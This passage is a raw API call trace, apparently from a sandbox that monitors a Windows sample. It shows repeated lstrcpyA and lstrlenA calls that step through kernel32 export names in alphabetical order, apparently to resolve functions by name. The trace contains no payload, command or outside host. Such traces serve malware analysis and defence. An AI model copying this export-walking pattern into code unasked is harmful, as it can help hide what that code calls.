(lpString="ADDDLLDIRECTORY") returned 15 [0083.673] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0083.673] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0083.674] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0083.674] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0083.674] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0083.674] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0083.674] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0083.674] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0083.674] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0083.674] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0083.674] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0083.674] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0083.674] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0083.674] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0083.674] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0083.674] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0083.674] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0083.674] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0083.674] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0083.674] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0083.674] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0083.674] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0083.674] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0083.674] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0083.674] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0083.674] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0083.674] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0083.674] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0083.674] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0083.674] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0083.674] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0083.674] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0083.674] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0083.675] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0083.675] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0083.675] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0083.675] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0083.675] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0083.675] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0083.675] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0083.675] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0083.675] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0083.675] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0083.675] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0083.675] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0083.675] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0083.675] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0083.675] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0083.675] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0083.675] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0083.675] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0083.675] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0083.675] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0083.675] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0083.675] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0083.675] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0083.675] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0083.675] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0083.675] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0083.675] lstrlenA (lpString="BACKUPREAD") returned 10 [0083.675] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0083.675] lstrlenA (lpString="BACKUPSEEK") returned 10 [0083.675] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0083.675] lstrlenA (lpString="BACKUPWRITE") returned 11 [0083.676] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0083.676] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0083.676] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0083.676] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0083.676] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0083.676] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0083.676] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0083.676] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0083.676] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0083.676] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0083.676] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0083.676] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0083.676] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0083.676] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0083.676] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0083.676] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0083.676] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0083.676] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0083.676] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0083.676] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0083.676] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0083.676] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0083.676] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0083.676] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0083.676] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0083.676] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0083.676] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0083.676] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0083.676] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0083.676] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0083.676] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0083.676] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0083.677] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0083.677] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0083.677] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0083.677] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0083.677] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0083.677] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0083.677] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0083.677] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0083.677] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0083.677] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0083.677] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0083.677] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0083.677] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0083.677] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0083.677] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0083.677] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0083.677] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0083.677] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0083.677] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0083.677] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0083.677] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0083.677] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0083.677] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0083.677] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0083.677] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0083.677] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0083.677] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0083.677] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0083.677] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0083.677] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0083.677] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0083.678] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0083.678] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0083.678] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0083.678] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0083.678] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0083.678] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0083.678] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0083.678] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0083.678] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0083.678] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0083.678] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0083.678] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0083.678] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0083.678] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0083.678] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0083.678] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0083.678] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0083.678] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0083.678] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0083.678] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0083.678] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0083.678] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0083.678] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0083.678] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0083.678] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0083.678] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0083.678] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0083.678] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0083.678] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0083.678] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0083.679] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0083.679] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0083.679] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0083.679] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0083.679] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0083.679] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0083.679] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0083.679] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0083.679] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0083.679] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0083.679] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0083.679] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0083.679] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0083.679] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0083.679] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0083.679] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0083.679] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0083.679] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0083.679] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0083.679] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0083.679] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0083.679] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0083.679] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0083.679] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0083.679] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0083.679] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0083.679] lstrlenA (lpString="BEEP") returned 4 [0083.679] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0083.679] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0083.679] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0083.679] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0083.680] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0083.680] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0083.680] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0083.680] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0083.680] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0083.680] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0083.680] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0083.680] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0083.680] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0083.680] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0083.680] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0083.680] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0083.680] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0083.680] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0083.680] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0083.680] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0083.680] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0083.680] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0083.680] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0083.680] lstrlenA (lpString="CANCELIO") returned 8 [0083.680] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0083.680] lstrlenA (lpString="CANCELIOEX") returned 10 [0083.680] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0083.680] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0083.680] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0083.680] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0083.680] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0083.680] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0083.680] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0083.681] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0083.681] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0083.681] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0083.681] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0083.681] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0083.681] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0083.681] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0083.681] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0083.681] lstrlenA (lpString="CHECKELEVATION") returned 14 